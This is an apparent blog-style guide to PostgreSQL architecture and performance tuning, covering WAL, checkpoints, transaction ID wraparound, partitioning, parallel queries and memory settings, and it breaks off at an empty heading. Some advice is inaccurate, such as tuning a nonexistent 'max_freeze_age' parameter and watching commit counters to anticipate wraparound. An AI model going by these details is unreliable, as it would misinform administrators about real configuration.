In today's digital landscape, data is the new gold. It's not only about how much data you have, but how efficiently you can manage, retrieve, and analyze it. At the heart of this data revolution is the database, and PostgreSQL, often affectionately termed "Postgres," stands tall as one of the world's most powerful and popular open-source relational database systems. Born from the ashes of the Ingres project at UC Berkeley, PostgreSQL has, over decades, matured into a robust platform, renowned for its extensibility and standards compliance.
But with power comes complexity. As application and service developers, while you might be adept at writing a flawless Python function or deploying a microservice, the intricacies of database administration, especially when dealing with massive volumes of data, can seem daunting. You might have often found yourself wondering: How do I optimize my Postgres database for better performance? Why does this query take longer than expected? What's this about a 32-bit transaction ID? If any of this sounds familiar, then you're in the right place.
This document aims to bridge that knowledge gap. We're about to embark on a technical odyssey, demystifying Postgres's underlying architecture and providing a toolkit of best practices to ensure that your database operates at peak efficiency, regardless of scale. By the end of this guide, not only will you have a comprehensive understanding of various performance optimization strategies for PostgreSQL, but you'll also be equipped to make informed decisions, tailored to your unique workload and requirements.
Whether you're a newcomer just starting out with Postgres or a seasoned developer looking for a refresher with deep dives into specific topics, we've got you covered. Dive in, and let's begin this journey together!
## Why Am I Writing This?
There's a famous saying that goes, "With experience comes wisdom," and I find this profoundly true, especially in the dynamic realm of database management. My journey with PostgreSQL is paved with myriad challenges, learning curves, and revelations. Let me take you through a few glimpses of this journey.
During my tenure as the head of software at Cloudreach, I was responsible for managing the Cloudamize IT discovery and assessment tool. This role introduced me to the roller-coaster ride of optimizing and refactoring the complex PostgreSQL scaling issues. We started with a singular vision and initial use case for PostgreSQL, but as the product evolved, so did our utilization and understanding of this database system. It wasn’t long before I realized that the real challenges with PostgreSQL don’t lie in its initiation but in its execution.
Furthermore, wearing my hat as a professional services provider, I've had the unique privilege of witnessing a broad spectrum of PostgreSQL concerns. From startups with their raw energy and agile structures to the massive enterprises with their vast resources and intricate systems, each organization brought forward unique challenges. Each one of them had a common thread – while PostgreSQL was embraced with enthusiasm, over time, many found themselves lost in its vastness, often pondering over its scaling capabilities and performance metrics, some justified, some born out of misconceptions.
One constant observation, or should I say a revelation, throughout these experiences is the evolutionary nature of PostgreSQL. Just as a master craftsman never stops learning about his tools, PostgreSQL is one such tool that reveals its depths only when you delve deeper into its real-world execution. The initial use, no matter how well-thought-out, rarely remains static. Systems evolve, requirements change, and what started as a straightforward implementation often grows into a complex machinery that demands optimization.
And it's this very evolution, the transformative journey from initial implementation to real-world execution, that I aim to address in this document. My goal is to peel back the layers, to demystify the often complex world of PostgreSQL architecture, and provide a beacon of clarity. Because, in my belief, understanding is the first step to optimization. And PostgreSQL, with all its intricacies, is indeed an incredible database system, worthy of a deep dive.
## Brief on PostgreSQL's popularity and capabilities.
The story of PostgreSQL's rise to prominence is one of organic growth, resilience, and an unwavering commitment to open-source values. Today, it's revered globally, not only for its technical prowess, but also for its spirited community, which has nurtured and propelled it to the forefront of the database world. But what makes PostgreSQL stand out? Why do startups to Fortune 500 companies trust it for their mission-critical applications? Let's delve into the reasons behind PostgreSQL's popularity and its standout capabilities.
**The Open Source Advantage**
At its core, PostgreSQL is free and open source, licensed under the PostgreSQL License, a permissive open source license. This means enterprises and individual developers alike can use, modify, and distribute PostgreSQL without any licensing costs, ensuring that innovation isn't stifled by financial constraints. This open ethos has also fostered a vibrant community that contributes code, offers support, and shares knowledge, making PostgreSQL more than just software; it's a movement.
**Extensibility and Customization**
Dubbed the "world's most advanced open-source database," PostgreSQL boasts an unparalleled level of extensibility. Whether you want to define custom data types, use custom functions, or even write in different procedural languages, PostgreSQL empowers you to do so. This level of customization ensures that it can cater to specialized use cases and evolve with ever-changing business needs.
**Conformance and Compatibility**
PostgreSQL prides itself on its adherence to SQL standards. It supports a significant portion of the SQL:2011 standard and offers modern features like table partitioning, table inheritance, and upsert capability. Such standards conformance ensures that migrations to and from PostgreSQL are smoother, and integrating it with other systems becomes a less cumbersome task.
**Robustness and Reliability**
Known for its rock-solid stability, PostgreSQL is built to ensure data integrity and resilience. With features like Multi-Version Concurrency Control (MVCC), point-in-time recovery, and write-ahead logging, it ensures that data remains consistent and recoverable, even in the face of hardware failures or crashes.
**Versatile Data Storage**
Beyond traditional relational data, PostgreSQL has native support for JSON and JSONB data types, making it suitable for both relational and NoSQL-style applications. This hybrid capability ensures that developers can design flexible schema or schema-less applications without needing multiple database systems.
**Advanced Features and Performance**
From full-text search capabilities, spatial databases with PostGIS, to advanced indexing and optimization features, PostgreSQL comes packed with functionalities that are often found in enterprise-grade, commercial databases. And with each release, PostgreSQL introduces performance enhancements and new features, ensuring that it remains at the cutting edge of database technology.
In essence, PostgreSQL's popularity isn't just happenstance; it's a testament to its robust architecture, forward-thinking design, and a vibrant community that believes in continuous improvement. As we venture deeper into understanding its intricacies, it's vital to acknowledge the foundational strengths that make PostgreSQL the titan it is today.
## Purpose and Structure of this Guide
In the dynamic realm of database technologies, the ability to adapt, scale, and optimize becomes the difference between an efficient system and one that lags. For developers, especially those embarking on the journey with a focus on applications and services, database intricacies can sometimes appear as a vast, intricate maze. The crux of this document is to be your guiding light, elucidating the depths of PostgreSQL, a database revered for its capabilities yet often intricate in its architectural subtleties.
The primary aim of this comprehensive guide is to:
1. **Educate** developers, especially those with limited or entry-level database administration knowledge, about the nuances of PostgreSQL.
2. **Highlight** the inherent challenges and complexities, notably the 32-bit transaction ID's role, various partitioning and parallel models, and the pivotal nature of proper database tuning.
3. **Illuminate** the underpinnings of PostgreSQL's architecture, giving readers a firm foundation upon which to understand its performance optimizations.
4. **Equip** developers with actionable insights and techniques to ensure that as they scale, their PostgreSQL instance does so efficiently and effectively.
To ensure a coherent, step-by-step exploration of PostgreSQL, this document will be structured as follows:
1. **Introduction**: A foray into the database world and why PostgreSQL is a key player in it.
2. **Brief on PostgreSQL's Popularity and Capabilities**: A snapshot of how PostgreSQL rose to its esteemed status and its standout features.
3. **Deep Dive into PostgreSQL's Architecture**: An in-depth look into the inner workings of PostgreSQL, helping developers grasp its foundational principles.
4. **Understanding 32-bit Transaction ID**: Exploring the implications, challenges, and solutions related to PostgreSQL's transaction ID system.
5. **Diving Into Partitioning**: Delving into the myriad ways data can be partitioned in PostgreSQL, their merits, and trade-offs.
6. **Parallelism in PostgreSQL**: A comprehensive guide to harnessing multicore systems, understanding parallel query models, and their inherent trade-offs.
7. **Database Tuning Essentials**: A critical segment focusing on ensuring that PostgreSQL operates at its peak, tailored to your system's load.
8. **Conclusion and Future Prospects**: A look back at what we've covered and a gaze into what the future holds for PostgreSQL and its enthusiasts.
By the end of this document, our aspiration is for readers to transition from viewing PostgreSQL as just another tool in their arsenal to recognizing it as a symphony of intricate components, each playing its part to produce database excellence. Let's embark on this enlightening journey together.
# Setting the Stage: PostgreSQL Architecture
Embarking on a quest to master the intricacies of PostgreSQL optimization begins by understanding its core architectural framework. PostgreSQL, unlike some database systems, has a multi-layered, sophisticated structure that enables its flexibility, robustness, and scalability. This architecture not only dictates how data is stored and retrieved, but also impacts performance, scalability, and even the very ways we can optimize it. Let's dive deep.
## Process Model
At its heart, PostgreSQL operates on a **process-per-connection** model. When a client connects, PostgreSQL spawns a dedicated process for that connection, ensuring isolation. This model is in contrast to the threaded approach some other databases use.
1. **Postmaster Process**: The mother process that listens for connection requests and starts new processes to handle them.
2. **Backend Processes**: These handle client connections, executing queries and returning results.
3. **Background Processes**: Tasks like autovacuum workers, WAL writer, and others ensure the smooth functioning and maintenance of the database.
We will be diving and explore the process model and its management later in this document, but for now just be aware these are the key components to be aware of.
## MVCC (Multi-Version Concurrency Control)
At the core of PostgreSQL's concurrency and transaction management lies MVCC. Instead of locking rows during a transaction, PostgreSQL creates a snapshot, allowing multiple transactions to occur simultaneously without conflict. This feature:
1. Improves read/write concurrency.
2. Enables non-blocking reads.
3. Requires periodic "vacuuming" to reclaim storage and ensure system health.
## Write-Ahead Logging (WAL)
WAL is a crucial component for data durability. Before any change is made to data files, the change is logged in the WAL. This ensures that in the event of a crash, the database can be recovered using the log, thus preventing data loss.
## Tablespaces, Files, and Storage
PostgreSQL’s physical storage is layered:
1. **Tablespaces**: Represent the top layer, essentially a location on disk where PostgreSQL stores data files.
2. **Files**: Data in PostgreSQL is stored in files of a specific size (often 1 GB). When data for a table exceeds this, another file is created.
3. **Pages**: Within files, the data is organized into pages, typically 8 KB in size. Each page contains multiple rows.
## System Catalogs
Acting as the database's metadata repository, system catalogs store vital information. From table structures, column data types, to available indexes, these catalogs play a pivotal role in query planning and execution.
## Query Lifecycle
Understanding how a query moves through PostgreSQL is enlightening:
1. **Parsing**: The query is checked for syntax correctness.
2. **Rewriting**: Rules and views are applied to transform the initial query.
3. **Planning**: The query planner devises the most efficient execution strategy.
4. **Execution**: The planned query is executed, retrieving or modifying data.
This architectural overview sets the stage for our deep dive into optimizations, performance improvements, and tuning techniques. With a foundational understanding of PostgreSQL's inner workings, we can better appreciate the reasons behind specific best practices and their implications for real-world application.
## Processes and Memory: The Heartbeat of PostgreSQL
PostgreSQL's efficiency and performance are deeply tied to its processes and how it manages memory. With an intricate dance of spawning processes and allocating memory, it ensures smooth database operations. To truly optimize PostgreSQL, especially at scale, one must understand this interplay.
### Process Management
Every instance of PostgreSQL is a bustling ecosystem of processes, working in tandem to manage connections, execute queries, and maintain the system.
**Postmaster Process**: Think of this as the gatekeeper. It's the primary process that listens for connection requests, spawning a new process for each client connection, ensuring isolation and dedicated resources.
**Backend Processes**: Dedicated to each client connection, handling all client interactions from query execution to result delivery.
**Background Processes**: These are the unsung heroes that perform critical tasks behind the scenes. The autovacuum worker, logger, and WAL writer are prime examples. They optimize, clean, and ensure data durability without any explicit user prompt.
**Process Spawning Overhead**: The process-per-connection model means that for each connection, a new process is created. This can have overhead, especially with many short-lived connections. Connection pooling can mitigate this overhead, ensuring that a set of persistent connections are reused.
### Memory Management
The way PostgreSQL handles memory is vital for its performance. Memory regions, allocation, and usage have a direct impact on query execution times, connection management, and overall system health.
1. **Shared Buffers**: This is PostgreSQL's internal caching mechanism. It caches frequently accessed tables and indexes, minimizing the need to access slower disk storage. Tuning the size of shared buffers can have a direct effect on performance, but it's essential to balance it with the operating system's cache.
2. **Work Memory**: Used for operations like sorting and hashing, this memory area is vital for query processing. If set too low, PostgreSQL may need to use disk-based temporary storage, dramatically reducing performance.
3. **Maintenance Work Memory**: Dedicated for maintenance tasks such as VACUUM, CREATE INDEX, and others, this memory should be provisioned thoughtfully, especially if you frequently run these operations.
4. **WAL Buffers**: Reserved for WAL operations, increasing its size can improve the efficiency of write-ahead logging, especially in high-throughput systems.
5. **Autovacuum Work Memory**: Autovacuum operations use this dedicated memory area. Tuning this can impact the efficiency of the autovacuum process.
6. **Effective Cache Size**: An indicator for the planner; it provides an estimate of how much memory is available for disk caching by the operating system and within PostgreSQL. A more accurate setting helps the planner make optimization choices.
Understanding and fine-tuning these memory areas, in tandem with a grasp of process management, is fundamental for squeezing out the best performance from PostgreSQL. But remember, it's a balancing act. Over-allocating can starve the system, while under-allocating can hinder performance. Regular monitoring and understanding your workload is key.
## Write-Ahead Logging (WAL): The Backbone of Data Integrity
In the digital realm, ensuring data persistence and resilience to crashes is a paramount concern. For PostgreSQL, this task is adeptly handled by its Write-Ahead Logging (WAL) mechanism. But what exactly is WAL, and why is it so integral to PostgreSQL's integrity and performance? Let's dive deep.
### What is Write-Ahead Logging?
At its core, Write-Ahead Logging is a method used to record changes made to data, _before_ those changes are written to the main data file. This log of changes, often termed as the WAL, provides a replayable history of transactions. In case of a crash, this log can be used to bring the system back to a consistent state by re-playing the logged changes.
### Why WAL Matters
1. **Data Integrity**: In case of unexpected shutdowns, be it from system crashes or power outages, WAL ensures that the database remains in a consistent state. On recovery, PostgreSQL uses the WAL to reconcile any disparities between the data file and the transactions that were in the process when the crash occurred.
2. **Performance Gains**: Traditional database writes often required data to be written to disk multiple times for a single transaction, which is costly in terms of time. With WAL, only the log needs to be flushed to disk immediately. The actual data changes can be deferred to a time when system load is reduced, optimizing performance.
### Diving Deeper: The Mechanics of WAL
1. **Log Structure**: WAL is organized in a sequence of WAL segments. When a segment is filled, PostgreSQL switches to the next one. Older segments can be archived or recycled based on the system’s archiving strategy.
2. **Checkpoints**: Periodically, PostgreSQL performs checkpoints wherein it ensures that all dirty pages (in-memory versions of data pages with changes) are written to disk. This reduces the amount of WAL that must be scanned during recovery.
3. **Replication & Streaming**: Beyond crash recovery, WAL has another vital role – supporting replication. Secondary PostgreSQL instances can stream the WAL records in real-time, ensuring they stay updated with the primary. This provides high availability and load balancing.
### Tuning and Managing WAL for Performance
1. **wal\_level**: This setting controls the amount of information written to the WAL. Higher settings like 'logical' or 'replica' are used for logical replication and can produce more WAL. It’s essential to adjust according to your replication needs.
2. **checkpoint\_timeout and max\_wal\_size**: These parameters control how often checkpoints occur and how much WAL can accumulate between checkpoints. Fine-tuning these can balance write performance with recovery time.
3. **wal\_compression**: By enabling this, PostgreSQL will try to compress WAL contents, potentially reducing I/O and increasing throughput.
4. **Archiving**: Setting up WAL archiving (`archive_mode` and `archive_command`) ensures that old WAL segments are safely stored, allowing for point-in-time recovery.
## Background Writer, Checkpoints, and Why They Matter
The intricate dance of writing data to disk in PostgreSQL involves several key players. Among these, the Background Writer and the Checkpoint process are of prime importance. To the untrained eye, their activities might seem like mere routine housekeeping. However, delving deeper reveals their critical roles in performance, data integrity, and system optimization.
### The Background Writer (BGWriter)
The Background Writer is a PostgreSQL process that periodically moves "dirty" pages from the shared buffers (main memory) to the disk, even before a checkpoint is triggered. A "dirty" page is one where the data has been modified in memory, but hasn't yet been written to the disk.
#### Why does it matter?
1. **Memory Management**: By continually writing dirty pages, the BGWriter ensures that the shared buffer has space available for new or recently used data pages, optimizing memory usage.
2. **Reduced I/O Spikes**: By spreading out disk writes over time, the BGWriter helps prevent sudden I/O spikes during checkpoints, leading to smoother system performance.
### Checkpoints
Checkpoints are specific points in time where PostgreSQL guarantees that all the changes (from the shared buffers) up to that point are flushed to disk. It's the process of ensuring data integrity by making sure the database on disk matches all the transactions that have been committed.
#### Why are they critical?
1. **Data Recovery**: In the event of a system crash, checkpoints reduce the number of WAL records that must be replayed. The recovery process starts from the last checkpoint.
2. **Performance**: While checkpoints ensure data integrity, they can cause I/O spikes. Hence, tuning the frequency and nature of checkpoints is crucial for optimal performance.
### Interplay between BGWriter and Checkpoints
The continuous operation of the BGWriter means that, when a checkpoint does occur, there are fewer dirty pages that need to be written to disk. This mutual operation ensures both data integrity and optimized performance.
### Tuning for Performance and Stability
1. **checkpoint\_timeout**: Determines the maximum time interval between checkpoints. A shorter interval may reduce recovery time, but can increase I/O operations.
2. **bgwriter\_lru\_maxpages and bgwriter\_lru\_multiplier**: These parameters influence how aggressively the BGWriter operates. Fine-tuning these can optimize memory management and reduce I/O during checkpoints.
3. **checkpoint\_completion\_target**: It sets the target duration for completing the checkpoint's I/O activity. Spreading out the writes can reduce I/O spikes.
# The 32-bit Transaction ID Enigma
PostgreSQL, revered for its durability and transactional integrity, utilizes a mechanism known as the Transaction ID (often abbreviated as TXID) to track the status of each transaction. However, the seemingly technical constraint of using a 32-bit space for this ID can lead to both intriguing challenges and innovative solutions.
## What is the Transaction ID?
The Transaction ID is a unique identifier assigned to every transaction within PostgreSQL. It helps determine the visibility of a tuple (a row of data) for a given transaction. Simply put, it's what PostgreSQL uses to know which version of a given tuple should be visible to which transaction, aiding in its MVCC (Multi-Version Concurrency Control) implementation.
## Why 32-bit?
The choice of a 32-bit integer is a balance between storage efficiency and operational span. While it offers a whopping 4 billion possible transaction numbers, an active database can chew through these numbers quickly, leading to potential wraparound issues.
## The Wraparound Challenge
Once the system exhausts all 4 billion transaction numbers, it circles back to zero, leading to what's called a transaction ID "wraparound". If not managed, this wraparound can disrupt data visibility, as older transactions may appear newer than they are.
## How PostgreSQL Handles It
1. **Freezing**: PostgreSQL uses a process called "freezing" to mark tuples in old transactions as "frozen," effectively resetting their transaction ID and ensuring they remain visible even after wraparound.
2. **Autovacuum**: The mighty autovacuum worker, apart from its housekeeping tasks, assists in freezing old tuples. When a certain threshold (`vacuum_freeze_min_age`) of old, unfrozen tuples is reached, autovacuum kicks in to freeze them.
3. **Monitoring & Alerting**: PostgreSQL includes `pg_stat_database` system view which tracks transactions. By monitoring `xact_commit` and `xact_rollback` columns, admins can anticipate wraparound events and plan interventions.
## Transaction ID's Role and Potential Pitfalls
The Transaction ID (TXID) in PostgreSQL is more than just an identifier; it's a linchpin for ensuring data consistency and transactional integrity. However, its critical nature and the constraints associated with its 32-bit nature bring about potential pitfalls that every PostgreSQL user should be cognizant of.
### The Role of Transaction ID
1. **MVCC (Multi-Version Concurrency Control)**: PostgreSQL uses MVCC to allow multiple transactions to occur concurrently without stepping on each other's toes. The TXID is crucial in this, helping determine which version of a record is visible to which transaction.
2. **Row Versioning**: Whenever a row is modified, PostgreSQL does not edit the row in-place, but rather creates a new version of that row. TXID helps in keeping track of these versions.
3. **Determining Dead Tuples**: As transactions modify rows, older versions of these rows (previous states) can become obsolete. TXID assists in identifying these dead tuples, which can later be vacuumed.
### Potential Pitfalls
1. **Transaction ID Exhaustion**: As mentioned earlier, the 32-bit nature of the TXID means there's a theoretical limit of 4 billion transactions before wraparound issues manifest.
2. **Performance Degradation**: High frequency of transaction ID generation can accelerate the approach of the wraparound, leading to increased autovacuum operations and potential performance degradation.
3. **Data Inconsistency**: Failing to address wraparound issues in time can lead to data inconsistency where old data might be misconstrued as new.
## Solutions and Best Practices
The constraints associated with PostgreSQL’s 32-bit Transaction ID (TXID) can be daunting. However, with proactive measures and best practices, you can effectively navigate and mitigate its challenges. Here are strategies to ensure your PostgreSQL database remains efficient and resilient:
### Regular Vacuuming
1. **Autovacuum**: PostgreSQL has an automatic process named 'autovacuum' that seeks out and reclaims space from dead tuples. Ensure it's active, and monitor its activities. Regularly vacuuming your database helps in freezing old transaction IDs and preventing them from aging.
2. **Tune Vacuum Frequency**: Depending on the rate of your database changes, you might need to adjust how often vacuuming operations occur. The goal is to strike a balance between reclaiming space and not overburdening the system.
### Monitoring
1. **Use Monitoring Tools**: Tools like `pg_stat_activity` can provide insights into the current transaction numbers. Using monitoring systems like pganalyze or Datadog can also alert you when the TXID is nearing its wraparound point.
2. **Track Oldest XID**: By regularly checking the age of your oldest transaction ID, you can predict when a wraparound might happen and take preventive measures.
### Database Configuration
1. **Adjust `autovacuum_freeze_max_age`**: By default, PostgreSQL will start to autovacuum tables which have a certain number of transactions before reaching the wraparound point. You can adjust this parameter based on your database's activity.
2. **Increase `max_freeze_age`**: For databases with heavy write operations, consider increasing the `max_freeze_age` parameter. This allows more transactions before a mandatory vacuum is triggered.
### Archiving and Partitioning
1. **WAL Archiving**: With Write-Ahead Logging (WAL), the changes are first recorded in logs. Implementing WAL archiving ensures you have a backup of these logs, providing an extra layer of data safety.
2. **Table Partitioning**: Partitioning tables can isolate frequently updated data from rarely updated data. This reduces the number of rows that need to be vacuumed and can delay the onset of wraparound issues.
### Periodic Assessments and Audits
1. **Health Checks**: Regularly review the overall health of your PostgreSQL instance. Look for signs of TXID exhaustion or frequent wraparound events.
2. **Database Audits**: At periodic intervals, undertake comprehensive database audits. This involves checking configurations, transaction rates, and the frequency of vacuum operations.
# Diving into Partitioning
Partitioning is a powerful mechanism within PostgreSQL that can significantly boost query performance, especially in databases with vast amounts of data. At its core, partitioning splits a table into smaller, more manageable pieces, yet still being treated as a single entity. But why is it so crucial, and how do you effectively harness its capabilities? Let's embark on this partitioning journey.
## The Basics of Database Partitioning
In the vast landscape of database management, partitioning stands as one of the most effective tools for optimizing data retrieval and storage. At its heart, the principle is straightforward: break up your data into more digestible, logical chunks. But, as with most things technical, understanding its nuances is the key to leveraging its full potential. This section will unravel the basics of database partitioning, making it accessible even to those at the early stages of their database journey.
In essence, database partitioning refers to the practice of splitting a large database table into smaller, more manageable sub-tables called partitions. These partitions can be based on various criteria such as date ranges, values, or even geographical locations. What's interesting is that while data is stored in separate partitions, it can still be queried as if it were a singular entity.
## Why Partition?
1. **Performance**: Large tables with millions or billions of rows can slow down query performance. By breaking these tables into smaller partitions, we can reduce the amount of data scanned during a query, especially if the query is designed to pull from a specific partition.
2. **Data Management**: Older data, which might not be accessed frequently, can be moved to slower storage mediums, reducing costs. Moreover, purging old data becomes a breeze since an entire partition can be dropped instead of deleting individual rows.
3. **Backup Efficiency**: Backing up very large tables can be time-consuming. With partitioning, you can perform backups on individual partitions, which can be quicker and less resource-intensive.
4. **Concurrent Loads**: For databases that experience high write loads, partitioning allows data to be written into multiple partitions concurrently, thereby enhancing the write performance.
## The Two Major Partitioning Techniques
1. **Horizontal Partitioning**: Here, rows of a table are divided into smaller tables, each containing a subset of the data. The decision on where to place a row is based on the value of one or more columns. For instance, a sales database might be horizontally partitioned based on the 'sales region'.
2. **Vertical Partitioning**: Unlike horizontal partitioning where rows are moved, vertical partitioning involves splitting the columns of a table. Frequently accessed columns are kept in the main table, while less accessed ones are moved to a separate table, linked by a primary key.
## The Trade-Offs
While partitioning offers several benefits, it's not a silver bullet. Introducing partitioning adds complexity to the database schema and its management. Incorrect partitioning strategies can even degrade performance, so it's crucial to understand your data access patterns and size the partitions accordingly.
## Declarative Partitioning: The Modern Way
As data volumes grew exponentially and the limitations of table inheritance as a partitioning mechanism became evident, PostgreSQL introduced a game-changing feature in version 10: Declarative Partitioning. This section delves into this modern approach, its advantages, and how it serves as an essential tool for developers managing vast datasets.
Declarative Partitioning allows tables to be created by directly specifying the partitioning method and the key on which data should be divided. Instead of manually creating child tables and managing triggers, as was the case with table inheritance, the database system handles partition creation, maintenance, and data routing.
For instance, a table storing monthly sales data can be partitioned by range on a `sale_date` column. When a new record is inserted, PostgreSQL automatically routes the data to the appropriate partition, without requiring custom triggers or rules.
### Partitioning Methods
PostgreSQL offers several partitioning methods to cater to different use-cases:
1. **Range Partitioning**: Divides data based on a range of values. Ideal for scenarios like time-based data where you want to partition records by date ranges, such as monthly or yearly data.
2. **List Partitioning**: Distributes data according to a list of predefined values. Suitable for scenarios where distinct categories or types need separate storage, like segregating data by country or product type.
3. **Hash Partitioning**: Distributes data based on a hash value of the partition key. This ensures a more balanced distribution of data, especially when the exact volume or distribution of input data isn't predictable.
### Advantages of Declarative Partitioning
1. **Simplicity and Maintenance**: There's no need for custom triggers or complex rules. PostgreSQL automatically manages data routing to the appropriate partitions, and maintenance tasks like creating new partitions are streamlined.
2. **Improved Query Performance**: With efficient partition pruning, PostgreSQL can skip unnecessary partitions during query execution, leading to faster query responses.
3. **Scalability**: As data grows, new partitions can be easily added, allowing databases to scale without significant alterations to the existing structure or logic.
4. **Data Lifecycle Management**: Older partitions can be efficiently dropped or archived, making it simpler to manage data retention policies.
Embracing the modern capabilities of PostgreSQL, declarative partitioning provides a robust, efficient, and scalable way to manage large datasets. As the data landscape continues to evolve, having tools like this at one's disposal ensures that developers can meet the challenges of big data head-on.
## Tips and Common Pitfalls
Mastering partitioning in PostgreSQL requires not only understanding its benefits, but also being aware of potential pitfalls and best practices. This section offers insights to help developers navigate the partitioning landscape more effectively.
### Tips for Effective Partitioning
1. **Understand Your Data and Access Patterns**: Before implementing partitioning, analyze your data's nature, growth rate, and how it's queried. The objective of partitioning is to improve performance, and this can only be achieved with an understanding of your specific use-case.
2. **Automate Partition Creation**: For range and list partitioning methods, consider automating the creation of new partitions in advance. This ensures that data insertion doesn’t stall due to missing partitions.
3. **Test Before Deploying**: Before implementing partitioning on production databases, it's crucial to test the chosen method on a subset of your data or in a staging environment. Monitor the impact on query performance and maintenance operations.
4. **Monitor Partition Sizes**: Regularly monitor the sizes of your partitions. If they become too large or too small, you may need to adjust your partitioning strategy.
5. **Backup Before Major Changes**: Any structural change, including partitioning, carries a risk. Always backup your data before making significant changes.
### Common Pitfalls to Avoid
1. **Over-Partitioning**: While it might be tempting to create numerous partitions, remember that too many small partitions can lead to increased overhead and reduced query performance. Strike a balance based on your dataset.
2. **Choosing the Wrong Partition Key**: A poorly chosen partition key can lead to unbalanced data distribution, where one partition may become significantly larger than others. This can degrade performance.
3. **Neglecting Maintenance**: Partitions, like any other tables, require regular maintenance. Vacuuming, analyzing, and periodic checks are crucial for maintaining optimal performance.
4. **Ignoring Constraints**: Constraints in partitioned tables can be tricky. Ensure that constraints are correctly applied to individual partitions and are consistent with your data model.
5. **Forgetting about Indexes**: Partitioning can impact indexing strategies. Always consider how indexes are applied across partitions and whether local or global indexes are more suitable for your use case.
# Parallel Processing in PostgreSQL
In the rapidly evolving digital ecosystem, databases form the backbone of information storage and retrieval. As the enormity of data scales, the need for faster, more efficient processing becomes paramount. Enter the realm of parallel processing, an avenue PostgreSQL has deftly integrated into its offerings. Let's embark on a journey to understand why this technique is vital and how it seamlessly weaves into the PostgreSQL framework.
## Why Parallel Processing?
Imagine standing in a supermarket with a long shopping list. You could meticulously pick each item one by one, or you could distribute the list amongst friends and tackle the aisles concurrently. Parallel processing in databases mirrors the latter. It's about dividing tasks and conquering them simultaneously, leveraging the power of modern multicore processors. For PostgreSQL:
- It facilitates faster query execution by utilizing multiple CPU cores.
- Enhances user experience through reduced response times.
- Efficiently caters to massive datasets and complex operations that might otherwise be time-intensive.
## Parallel Sequential Scans: Splitting the Load
Just as a library is less daunting when multiple people are searching for books concurrently, Parallel Sequential Scans fragment a table, allowing several processes to scan distinct portions at the same time. The outcomes:
- Faster table scans, especially beneficial for extensive tables.
- Improved CPU core utilization.
- Diminished I/O latency, as data chunks are fetched in tandem.
## Parallel Joins: Synergy in Action
Join operations interlace two tables, often requiring intense computational power. With parallel joins:
- Each process works on a fragment of the join operation, stitching the data subsets together.
- The results from each process are then collated, drastically reducing execution time.
- It’s akin to multiple chefs working on different parts of a recipe, later combining their efforts for the final dish.
## Parallel Aggregates: Summation and Beyond
Aggregation, whether it's summing up numbers or counting specific entries, can be resource-intensive. Parallel aggregates optimize this:
- Multiple workers handle distinct data portions, performing individual aggregate calculations.
- A leader process then combines these interim results into the final aggregate.
- This segmented approach ensures that large-scale aggregations, often bottlenecks, are processed swifter.
## Tradeoffs and Considerations
While parallel processing is a formidable tool in PostgreSQL’s arsenal, it's not without its intricacies:
- **Coordination Overhead**: As in a team project, there’s an overhead in managing and merging the results from parallel tasks.
- **Resource Allocation**: Over-enthusiasm in parallel processing can drain system resources, impacting other operations.
- **Lock Contention**: Intensive parallel activities can lead to locks vying for the same resources, potentially causing deadlocks.
- **Not Always the Answer**: Some operations, due to their inherent design, might not benefit—or could even degrade—from parallel execution.
In essence, parallel processing in PostgreSQL is not just about speed; it's about efficient resource utilization, scalability, and enhancing the user experience. But, as with any powerful tool, it demands a nuanced understanding to truly unlock its potential.
# **Fine-Tuning PostgreSQL for Performance**
As much as PostgreSQL is renowned for its out-of-the-box efficiency, true mastery of its performance entails delving into its myriad tunable parameters. Optimization is not a one-size-fits-all solution; it’s an evolving strategy tailored to individual system requirements and the unique nuances of each workload. This section sheds light on the various areas of PostgreSQL you can fine-tune to achieve peak performance.
Ensuring optimal utilization of memory is key to PostgreSQL's performance. The database stores frequently accessed data in memory for faster retrieval, uses memory for sorting operations, and maintains cache. Optimizing memory parameters according to your workload can result in substantial performance improvements.
### Shared Buffers
This is PostgreSQL's own cache, storing copies of disk pages for quicker access.
- **Configuration**: By default, the size is set relatively low to be conservative. For dedicated database servers, consider allocating 10-25% of the system's RAM. However, do remember, the OS cache also plays a part.
- **Consideration**: Setting this too high might cause PostgreSQL to use RAM inefficiently. Ensure you test any changes to gauge performance implications.
### Work Mem
This parameter governs the amount of memory allocated for operations such as sorts, hashes, and even certain index operations.
- **Configuration**: The default is conservative. Increasing it can significantly speed up certain operations, especially on large datasets or complex queries. But, it's multiplied by the max number of connections, so caution is needed.
- **Consideration**: If set too high, especially on systems with many connections, you might exhaust system memory leading to swapping. Swapping is detrimental to database performance.
### Maintenance Work Mem
This setting determines memory allocated for maintenance operations, such as vacuuming and creating indexes.
- **Configuration**: For databases undergoing regular maintenance or having large tables, consider bumping up this value.
- **Consideration**: While more memory can make maintenance faster, setting this too high can affect concurrent operations.
### Effective Cache Size
This parameter provides the planner with a clue about how much memory is available for caching data.
- **Configuration**: This isn't a hard limit, but a hint to the optimizer. A general recommendation is to set it to the sum of shared buffers and the OS cache.
- **Consideration**: Set it to a value you think a significant portion of the system’s data will reside in cache, between PostgreSQL’s own shared buffers and the OS cache.
### Tips for Memory Tuning
- **Monitoring**: Always keep an eye on the system's RAM usage. Tools like `vmstat` or `free` on Linux can provide insights. PostgreSQL’s own `pg_stat_database` can be queried to understand cache hit ratios.
- **Avoid Swapping**: Always ensure your configurations don’t lead to excessive swapping. Disk operations are orders of magnitude slower than memory operations.
- **Balance with Other System Demands**: If PostgreSQL shares a server with other applications, ensure your configurations don’t starve them of necessary memory.
Memory tuning is an ongoing process and isn’t just about increasing values. It requires understanding the system's workloads, monitoring performance, and occasionally making counterintuitive decisions for the best overall performance.
## Adjusting Worker Processes
PostgreSQL's ability to handle tasks concurrently is rooted in its worker processes. With the advent of increased CPU core counts and powerful hardware, it’s crucial to utilize these resources optimally for parallel operations. Adjusting worker processes in PostgreSQL provides a tangible performance boost, but it requires a nuanced understanding of each parameter and its implications.
### Background Workers
Before diving into individual settings, it's vital to understand the role of background workers. PostgreSQL can spawn several background processes, also known as worker processes, for tasks like autovacuuming, replication, and parallel querying. These processes function concurrently, ensuring the main server process doesn't get overwhelmed with tasks.
### Max Worker Processes
This parameter dictates the maximum number of background processes that the system can support. It's the overarching limit that encompasses workers for parallelism, replication, and other tasks.
- **Configuration**: While the default might suffice for smaller systems, larger systems with multiple CPU cores and diverse tasks benefit from an increased number.
- **Consideration**: Always ensure that the system has enough resources. Over-provisioning might lead to resource contention and diminished returns. Typically, setting this to the number of CPU cores or slightly higher is a good starting point.
### Max Parallel Workers
